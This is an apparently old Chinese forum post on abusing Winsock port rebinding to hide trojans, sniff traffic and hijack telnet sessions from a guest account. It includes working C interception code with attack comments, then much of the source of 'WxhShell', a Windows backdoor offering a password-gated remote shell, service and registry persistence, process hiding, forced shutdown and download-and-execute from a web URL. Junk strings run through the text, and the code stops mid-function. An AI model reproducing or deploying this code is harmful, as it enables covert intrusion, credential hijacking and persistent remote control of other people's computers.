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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ey,f igjd.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {"%a-*@%  
3\ ,t_6}  
  saddr.sin_family = AF_INET; x[Hx.G}5+  
peT91b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); / o I 4&W  
/3K)$Er  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )KVr2y;RF  
5J|S6x\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v'b%m8  
Tsj/alC[  
  这意味着什么?意味着可以进行如下的攻击: \w>Rmf'|  
1K<}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wy#>Aq  
_q4O2Fx0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jZPGUoRLg  
5pe)CjE:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WZPj?ou`G  
WFFQxd|Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O-K*->5S  
'SoBB:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5`+9<8V  
>1;jBx>Qy%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]+3M\ ib  
C;K+ITlJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )lJAMZ 5xp  
c%^B '  
  #include Z"_8 l3  
  #include }r,xx{.u7  
  #include 2[uFAgf@  
  #include    1'Q6l  
  DWORD WINAPI ClientThread(LPVOID lpParam);   REE .8_  
  int main() L 6fbR-&Lt  
  { strM3j##x  
  WORD wVersionRequested; fCF.P"{W"  
  DWORD ret; X&LJ"ahK  
  WSADATA wsaData; v[{7\Hha  
  BOOL val; -3v\ c~  
  SOCKADDR_IN saddr; Sw,*#98  
  SOCKADDR_IN scaddr; 58HA*w  
  int err; +Ln^<!P  
  SOCKET s; GD]epr%V  
  SOCKET sc; ".$kOH_:  
  int caddsize; 'j, ([  
  HANDLE mt; fpf,gb8[$n  
  DWORD tid;   :Dw_$  
  wVersionRequested = MAKEWORD( 2, 2 ); +y8Y@e}>  
  err = WSAStartup( wVersionRequested, &wsaData ); WysWg7,r  
  if ( err != 0 ) { fRLA;1va  
  printf("error!WSAStartup failed!\n"); =xRD %Z  
  return -1; l!Xj UnRF  
  } +~aIT=i3  
  saddr.sin_family = AF_INET; `PL}8ydZ  
   ng9e)lU~*b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]= %qm;  
l&U$L N$*e  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8 b~  
  saddr.sin_port = htons(23); SO(BkxV@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yq[/9PciA  
  { 4:NMZ `~  
  printf("error!socket failed!\n"); [f6BA|   
  return -1; }u3|w0~c)  
  } Nc{&AV8Y_v  
  val = TRUE; fxoEK}TM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :i?6#_2IC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LO)!Fj4|  
  { Y z&!0Hfd  
  printf("error!setsockopt failed!\n"); Fj~suZ`  
  return -1; %aMC[i  
  } =<p=?16 x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BO7HJF)a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  c1s&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1.3dy]vG  
gDLS)4^w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O!f37n-TB  
  { +~iiy;i(  
  ret=GetLastError(); %sOY:>  
  printf("error!bind failed!\n"); eS@j? Y0y  
  return -1; 8P- ay<6  
  } `vAcCahM  
  listen(s,2); j,^&U|!  
  while(1) Gg ~0>XS  
  { JN+7o h]u  
  caddsize = sizeof(scaddr); p<L{e~{!7f  
  //接受连接请求 l~o!(rpX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?2~fvMWu  
  if(sc!=INVALID_SOCKET) 3 mAizq3  
  { 0>td[f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XWS]4MB+vm  
  if(mt==NULL) a`%`9GD  
  { d/OP+yzgZ  
  printf("Thread Creat Failed!\n"); Z^%a 1>`  
  break; saiXFM 7J  
  } 6P717[  
  } DMG'8\5C  
  CloseHandle(mt); "IzAvKPM  
  } RIXeV*ix  
  closesocket(s); ^O@eyP  
  WSACleanup(); B!x#|vGXL  
  return 0; I@6+AU~,6  
  }   ZwLr>?0$ p  
  DWORD WINAPI ClientThread(LPVOID lpParam) pMHl<HH  
  { \zg R]|  
  SOCKET ss = (SOCKET)lpParam; 9]lI?j]o  
  SOCKET sc; 6_QAE6A  
  unsigned char buf[4096]; 'vVWUK956  
  SOCKADDR_IN saddr; 5Ex[}y9L`  
  long num; L+%kibnY'  
  DWORD val; Os$E,4,py  
  DWORD ret; upaP,ik}~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8} :$=n4&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y0|){&PCt  
  saddr.sin_family = AF_INET; 06%-tAq:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \UZGXk  
  saddr.sin_port = htons(23); K=0xR*ll5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4Xa] yA =  
  { :FS5BT$=  
  printf("error!socket failed!\n"); b7\>=  
  return -1; b<~8\\ &  
  } ^`id/  
  val = 100; erUK; +2g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3c6e$/  
  { U?f-/@fc  
  ret = GetLastError(); :E6*m\X!3  
  return -1; {c_bNYoE  
  } Pa Q lQ#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) grgs r_)[  
  { ^SG>VfgC  
  ret = GetLastError(); 0~RD@>]  
  return -1;  W;7$Dq:  
  } mwLf)xt0'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 96~y\X@x  
  { LJPJENtFIs  
  printf("error!socket connect failed!\n"); T})q/oUqK  
  closesocket(sc); J~WT;s  
  closesocket(ss); iQ:eR]7X  
  return -1; %?].( Lc  
  } %M1l[\N  
  while(1) P7=`P  
  { ef '?O  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =l/Dc=[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _`;KmD&5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |}z5ST%  
  num = recv(ss,buf,4096,0); OeASB}  
  if(num>0) ^P~,bO&H.Z  
  send(sc,buf,num,0); _|12BVq  
  else if(num==0) 8e>B>'nH  
  break; rrRv 7J&Q  
  num = recv(sc,buf,4096,0); 5?`4qSUz  
  if(num>0) : pUu_  
  send(ss,buf,num,0); .tG3g:  
  else if(num==0) _xh)]R  
  break; [q!]Ds" _  
  } k-n`R)p:  
  closesocket(ss); e`={_R{N  
  closesocket(sc); K% FK  
  return 0 ; &t8,326;  
  } pp(09y`]  
=Mwuhk|*  
1O0. CC,p  
========================================================== G) KI{D  
r&a} U6k(y  
下边附上一个代码,,WXhSHELL iy]L"7&Z2  
W|fE]RY  
========================================================== h.#:7d(g  
Cn 5"zDK$  
#include "stdafx.h" ;E 9o%f:o  
fK=0?]s}I  
#include <stdio.h> qypF}Pw  
#include <string.h> :tO4LEb  
#include <windows.h> zuN(~>YH  
#include <winsock2.h> J i@q7qkC  
#include <winsvc.h> ?:`sE"  
#include <urlmon.h> ps2j]g  
02[m{a-  
#pragma comment (lib, "Ws2_32.lib") Q?1.GuF  
#pragma comment (lib, "urlmon.lib") ,yNuz@^ P  
{0F/6GwUC  
#define MAX_USER   100 // 最大客户端连接数 J61%a,es  
#define BUF_SOCK   200 // sock buffer r-$xLe7a  
#define KEY_BUFF   255 // 输入 buffer #$S~QS.g  
{~O4*2zg;K  
#define REBOOT     0   // 重启 PUO7Z2  
#define SHUTDOWN   1   // 关机 S>T ;`,  
Q3hf =&$  
#define DEF_PORT   5000 // 监听端口 *GXPN0^Qjo  
Axb=1_--  
#define REG_LEN     16   // 注册表键长度 x1g-@{8]j  
#define SVC_LEN     80   // NT服务名长度 -j<E_!t  
&_:9.I 1  
// 从dll定义API vd#)+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0/ 33Z Oc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); # A4WFZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HRE?uBkjf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dh6kj-^;Cf  
"!P h  
// wxhshell配置信息 Ewkx4,`Ff  
struct WSCFG {  /d|:  
  int ws_port;         // 监听端口 i9Bh<j>:J  
  char ws_passstr[REG_LEN]; // 口令 5SUO`4L  
  int ws_autoins;       // 安装标记, 1=yes 0=no '6NrL;  
  char ws_regname[REG_LEN]; // 注册表键名 RICm$,  
  char ws_svcname[REG_LEN]; // 服务名 R[\1Kk(Zo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ylczM^@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6BA$v-VVU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?`xF>P]M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [! ;sp~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  t{},Th  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;Ngk"5  
OHAU@*[lM  
}; }X8P5c!\  
_Cz98VqRk  
// default Wxhshell configuration ~v\ W[  
struct WSCFG wscfg={DEF_PORT, } x r0m+/  
    "xuhuanlingzhe", RYvdfj.ij  
    1, DRRQ] eK0  
    "Wxhshell", BJ3<"D{.*4  
    "Wxhshell", O, eoO,gB  
            "WxhShell Service", f@!9~s  
    "Wrsky Windows CmdShell Service", $}b)EMMM  
    "Please Input Your Password: ", |(W04Wp"@  
  1, egA* x*8  
  "http://www.wrsky.com/wxhshell.exe", l*hWws[  
  "Wxhshell.exe" -!7Z  
    }; Zl9  
b7^q(}qE  
// 消息定义模块 H~JgZ pw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {Lv"wec*x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :F6dXW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dr"$@  
char *msg_ws_ext="\n\rExit."; :+\sKEzL  
char *msg_ws_end="\n\rQuit."; jcJ@A0]  
char *msg_ws_boot="\n\rReboot..."; a8)2I~j  
char *msg_ws_poff="\n\rShutdown..."; ]Zh$9YK  
char *msg_ws_down="\n\rSave to "; ,aezMbg  
?QKD YH(  
char *msg_ws_err="\n\rErr!"; Zbr e5&aU  
char *msg_ws_ok="\n\rOK!"; `'iO+/;GY  
m.ka%h$  
char ExeFile[MAX_PATH]; r$4d4xtK  
int nUser = 0; gp$]0~[tO  
HANDLE handles[MAX_USER]; 0OG 3#pE  
int OsIsNt; )skpf%g  
71E~~$  
SERVICE_STATUS       serviceStatus; 3 []ltN_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Yg5o!A  
go=xx.WJ  
// 函数声明 yR{rje*  
int Install(void); ul_E{v  
int Uninstall(void); *"_W1}^  
int DownloadFile(char *sURL, SOCKET wsh); ddl]! ^IK  
int Boot(int flag); `2+TN  
void HideProc(void); 32 j){[PL3  
int GetOsVer(void); 0 5?`W&:9  
int Wxhshell(SOCKET wsl); /YPG_,lRA  
void TalkWithClient(void *cs); 8VU(+%X  
int CmdShell(SOCKET sock); WQCnkP  
int StartFromService(void); JDa_;bqL  
int StartWxhshell(LPSTR lpCmdLine); POl-S<QV  
;{wzw8!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h5l_/v d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZR=i*y  
@mu{*. &  
// 数据结构和表定义 z"  z$.c  
SERVICE_TABLE_ENTRY DispatchTable[] = =ePwGm1:c  
{ z7?SuJ  
{wscfg.ws_svcname, NTServiceMain}, R= Ig !s9  
{NULL, NULL} 80%"2kG  
}; x{!+ 4W;S  
v h)CB8  
// 自我安装 XD6Kp[s  
int Install(void) o@ ^^;30  
{ ->{\7|^  
  char svExeFile[MAX_PATH]; #%$@[4 "V  
  HKEY key; YVF@v-v-,  
  strcpy(svExeFile,ExeFile); [Pq |6dz  
>2K'!@ ~'  
// 如果是win9x系统,修改注册表设为自启动 3zfpFgD!  
if(!OsIsNt) { Lf a&JKd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p;o"i_!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =s:kC`O  
  RegCloseKey(key); e)-$ #qW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [-W~o.`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6&~Z3|<e  
  RegCloseKey(key); M/F <W!  
  return 0; 'Q]Wk75  
    } d7g$9&/q  
  } 46l*ui_  
} gL| 9hvHr[  
else { 01 +#2~S  
".AW   
// 如果是NT以上系统,安装为系统服务 V1nqEdhk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &q-P O  
if (schSCManager!=0) ,=@WE> ip  
{ A$\/D2S7!  
  SC_HANDLE schService = CreateService e :ub]1I=  
  ( 1=>b\"P#E  
  schSCManager, k'F*uS  
  wscfg.ws_svcname, \(^]R,~*!b  
  wscfg.ws_svcdisp, VJ&-Z |  
  SERVICE_ALL_ACCESS, 9.~ _swkv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]CU)#X<J  
  SERVICE_AUTO_START, [zP}G?(  
  SERVICE_ERROR_NORMAL, Pu!C,7vUQ  
  svExeFile, "tmu23xQ  
  NULL, 0#8lg@e8  
  NULL, b/T k$&  
  NULL, $*XTX?,'  
  NULL, S:g6z'e1  
  NULL L1k  
  ); ) .V,zmI  
  if (schService!=0) X?r$o>db  
  { e&(Wn2)o  
  CloseServiceHandle(schService); qgWsf-di=  
  CloseServiceHandle(schSCManager); if1)AE-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .hf%L1N%F  
  strcat(svExeFile,wscfg.ws_svcname); 06pY10<>X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nC$ c.K'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =(c.8d  
  RegCloseKey(key); D&N3LH  
  return 0; vgNrHq&2q  
    } h^WMv *2  
  } ]w-W  
  CloseServiceHandle(schSCManager); +-V4:@  
} mMu+MXTk<  
} IK4(r /  
1!+0]_8K  
return 1; 3$_- 0>  
} #w^Ot*{!N  
*r~6R  
// 自我卸载 "Rf|o 6!d  
int Uninstall(void) :< ]sJf N  
{ u1z!OofN>  
  HKEY key; i3(5 '  
Z]Z&PbP  
if(!OsIsNt) { \`/ P*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fgo3Gy*#  
  RegDeleteValue(key,wscfg.ws_regname); 7D8 pb0`;J  
  RegCloseKey(key); PCBV6Y7r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZWB3R  
  RegDeleteValue(key,wscfg.ws_regname); axXR-5c  
  RegCloseKey(key); ?^8.Sa{  
  return 0; 2of+KI:  
  } I.2>d_^<  
} 0(uba3z  
} 0@&;JMh6<  
else { O15~\8#'  
wv%UsfD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d-8g  
if (schSCManager!=0) IMy!8$\u  
{ QNcl    
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `RqV\ 6G+  
  if (schService!=0) fB4zqMSfE  
  { z`dnS]q9  
  if(DeleteService(schService)!=0) { uE#i3( J  
  CloseServiceHandle(schService); 8rz ,MsFR  
  CloseServiceHandle(schSCManager); f[OJ qk  
  return 0; FT gt$I  
  }  )Z:maz  
  CloseServiceHandle(schService); OtT*)8*c  
  } aMgg[g9>t  
  CloseServiceHandle(schSCManager); 4J[csU  
} Pn}oSCo  
} Qeq=4Nq  
RHt~:D3*  
return 1; BJZGQrsz  
} eTtiAF=bW  
# o\&G@e}  
// 从指定url下载文件 bU4\Yu   
int DownloadFile(char *sURL, SOCKET wsh) 1eS@ihkP  
{ Ei@al>.\  
  HRESULT hr; URyY^+s  
char seps[]= "/"; 8 vvNn>Q  
char *token; DeN$YE#*  
char *file; Y$ ZDJNz  
char myURL[MAX_PATH]; 3KKq1][  
char myFILE[MAX_PATH]; &e4EZ  
AeW_W0j  
strcpy(myURL,sURL); Xu{S4#1  
  token=strtok(myURL,seps); MG,?,1_ &  
  while(token!=NULL) t$uj(y>  
  {  OF( tCK  
    file=token; KZ/2W9r_,  
  token=strtok(NULL,seps); Y;sN UX  
  } \#'m([<e  
hl+ T  
GetCurrentDirectory(MAX_PATH,myFILE); 1~*JenV-  
strcat(myFILE, "\\"); %bTXu1  
strcat(myFILE, file); *&F~<HC2+  
  send(wsh,myFILE,strlen(myFILE),0); 73E[O5?b  
send(wsh,"...",3,0); t(- 5l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zhACNz4tJ  
  if(hr==S_OK) 7(zY:9|(  
return 0; SciEHI#  
else "3a_C,\  
return 1; VZU@G)rd  
wOl]N2<  
} iM{aRFL  
h{VGh kU9f  
// 系统电源模块 pW2-RHGJY  
int Boot(int flag) \XG\  
{ u|&a!tOf2  
  HANDLE hToken; !2=eau^p  
  TOKEN_PRIVILEGES tkp; .iEzEmu  
Io)@u~yz  
  if(OsIsNt) { g _u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !r_2b! dy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t. kOR<  
    tkp.PrivilegeCount = 1; myWa>Mvb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (w, Gv-S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %R*-oQ1T  
if(flag==REBOOT) { yLCJSN$7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VQ`a-DL  
  return 0; )u5+<OG}=  
} PPj0LFA  
else { 0$q)uip  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Yg3emn|a  
  return 0; ;rh@q4#  
} ?(j:F2dU~  
  } r(/+- t  
  else { HY'-P&H5(  
if(flag==REBOOT) { q*K.e5"'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o[K,(  
  return 0; |1"n\4$  
} h-RL`X  
else { | <l=i(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R;2 Z~P  
  return 0; M!b"c4|<  
} Q|:qs\6q5  
} ]kyGm2Ty9  
Fop'm))C8  
return 1; . ,n>#lL  
} U_C 1GT-|  
ioS(;2F  
// win9x进程隐藏模块 RE75TqYW  
void HideProc(void) [>U =P`  
{ NYp46;  
3n=ftkI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %u02KmV.  
  if ( hKernel != NULL ) 5Qgh\4  
  { =LMM]'no,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 97L# 3L6t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ygfUy  
    FreeLibrary(hKernel); R8<P}mv  
  } 5IiZnG u  
6.g k6  
return; dgM@|&9*m  
} *4|]=yPU  
_+2Jc}Yf  
// 获取操作系统版本 H{j jA+0  
int GetOsVer(void) E?[]N[0Kl  
{ ,[<+7  
  OSVERSIONINFO winfo; @a}jnl(2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |jE0H!j  
  GetVersionEx(&winfo); 8P3"$2q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5]yby"Z?}  
  return 1; whvvc2  
  else I9;,qd%<T  
  return 0; `E2HQA@  
} L4-v'Z;  
JE.s?k  
// 客户端句柄模块 "s5[w+,R  
int Wxhshell(SOCKET wsl) ,$<="kJk  
{ Ub-q0[6  
  SOCKET wsh; 'PVxc %[  
  struct sockaddr_in client; Rk@xv;t;  
  DWORD myID; 2VyJ  
l's*HExR  
  while(nUser<MAX_USER) tKKQli4Mn4  
{ ,c9K]>8m`  
  int nSize=sizeof(client); =S:Snk%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R;EdYbiF b  
  if(wsh==INVALID_SOCKET) return 1; TdWatvY5p  
.7|Iausv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %uy5la  
if(handles[nUser]==0) 24Uvi:B?~  
  closesocket(wsh); 5|0}   
else UCVdR<<Z  
  nUser++; ==)q{e5  
  } Yb;$z'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XdxSi"+  
>qC,IQ'  
  return 0; r`GA5 }M  
} 5isqBu  
?,0 a#lG  
// 关闭 socket *$yU|,  
void CloseIt(SOCKET wsh) 4RoE>m1[G  
{ g,] GzHV1  
closesocket(wsh); Ek%mX"  
nUser--; XlDN)b5v{  
ExitThread(0); `4kVe= {  
} GP{$w_'!J0  
@m+2e C77  
// 客户端请求句柄 %29lDd(<  
void TalkWithClient(void *cs) B EB[K2[9  
{ !)$e+o^W  
@\s*f7  
  SOCKET wsh=(SOCKET)cs; S5>?j n1  
  char pwd[SVC_LEN]; ft><Ql3  
  char cmd[KEY_BUFF]; f )Ef-o  
char chr[1]; KO3X)D<3  
int i,j; ur K~]68  
AMf{E  
  while (nUser < MAX_USER) { Z(:q.{"r  
{k8R6l1  
if(wscfg.ws_passstr) { ~D\zz }l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^9fY %98  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [H5BIM@{  
  //ZeroMemory(pwd,KEY_BUFF); $~5ax8u&!#  
      i=0; Dlqvz|X/  
  while(i<SVC_LEN) { "cDMFu  
5e}adHjM  
  // 设置超时 q)PLc{NO  
  fd_set FdRead; Bx 9v2x.  
  struct timeval TimeOut; d.Ep#4  
  FD_ZERO(&FdRead); GLWEoV9<  
  FD_SET(wsh,&FdRead); $@^*lUw  
  TimeOut.tv_sec=8; v1}9i3Or#  
  TimeOut.tv_usec=0; B3g # )  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <e'/z3TbRW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L-eO_tTh0  
<@H`5[R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _ 2 oZhJ  
  pwd=chr[0]; s&7TARd  
  if(chr[0]==0xd || chr[0]==0xa) { o'J^kd`  
  pwd=0; *!m(oP  
  break; u1;sH{YK>  
  } mr2fNA>kR  
  i++; dwJnPJ=z  
    } </]a`h]  
#sM`>KG6T1  
  // 如果是非法用户,关闭 socket / ?Hq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {L/hhKT  
} F_-}GN%  
Xb2.t^ ]f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7.FD16  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _?v&\j  
!q!5D`  
while(1) { h,|. qfUk  
>["X( %&w  
  ZeroMemory(cmd,KEY_BUFF); *b8AN3!  
K(r@JW  
      // 自动支持客户端 telnet标准   *3\N j6  
  j=0; vR4omB{  
  while(j<KEY_BUFF) { 7!/!a*zg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e?_uJh"  
  cmd[j]=chr[0]; = P$Q;d  
  if(chr[0]==0xa || chr[0]==0xd) { W$xW9u8@+(  
  cmd[j]=0; F4PWL|1  
  break; t Z@OAPRx  
  } $O_{cSKg7  
  j++; Pl\NzB,`  
    } 9";qR,  
21[=xboU  
  // 下载文件 7sq15oL  
  if(strstr(cmd,"http://")) { z-N N( G+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]w_JbFmT  
  if(DownloadFile(cmd,wsh)) QD^q\9U[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (;9j#x  
  else hip't@.uE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %l[]n;*$  
  } |eI!wgQx  
  else { wC?>,LOl  
uj:1_&g  
    switch(cmd[0]) { -% \LW1  
  B$ jX%e{:S  
  // 帮助 ^h!}jvqE  
  case '?': { 4Z.Dz@.c(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mJZB@m u?  
    break; -QK- w>  
  } xX.kKEo"d  
  // 安装 wvRwb   
  case 'i': { .iYp9?t  
    if(Install()) 6TDa#k5v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _B0C]u3D  
    else aC94g7)`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GT,1t=|&V  
    break; ~S\,  
    } >i"WKd=  
  // 卸载 |3mcL'  
  case 'r': { VS3lz?o?6g  
    if(Uninstall()) %7[q%S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rvuasr~  
    else =q}Z2 OoYh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rj3ad3z'E  
    break; KAgxIz!^-1  
    } |$g} &P8;  
  // 显示 wxhshell 所在路径 *!pn6OJ"Q}  
  case 'p': { OwPXQ 3S  
    char svExeFile[MAX_PATH];  De2$:?  
    strcpy(svExeFile,"\n\r"); P*n/qj8h  
      strcat(svExeFile,ExeFile); o8Yq3N+  
        send(wsh,svExeFile,strlen(svExeFile),0); G > t  
    break; 1zgM$p  
    } ;3XOk+  
  // 重启 Rn)fwGC  
  case 'b': { OIDP#K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nNf*Q r%Z  
    if(Boot(REBOOT)) *7w!~mn[m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aNBwb9X  
    else { B=~uJUr  
    closesocket(wsh); =b, m3 1  
    ExitThread(0); W ", yq|  
    } b=5ZfhIg[  
    break; ~n$\[rQ  
    } Ehxu`>@N  
  // 关机 :D4'x{#H  
  case 'd': { p3>Md?e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D#A6s32a  
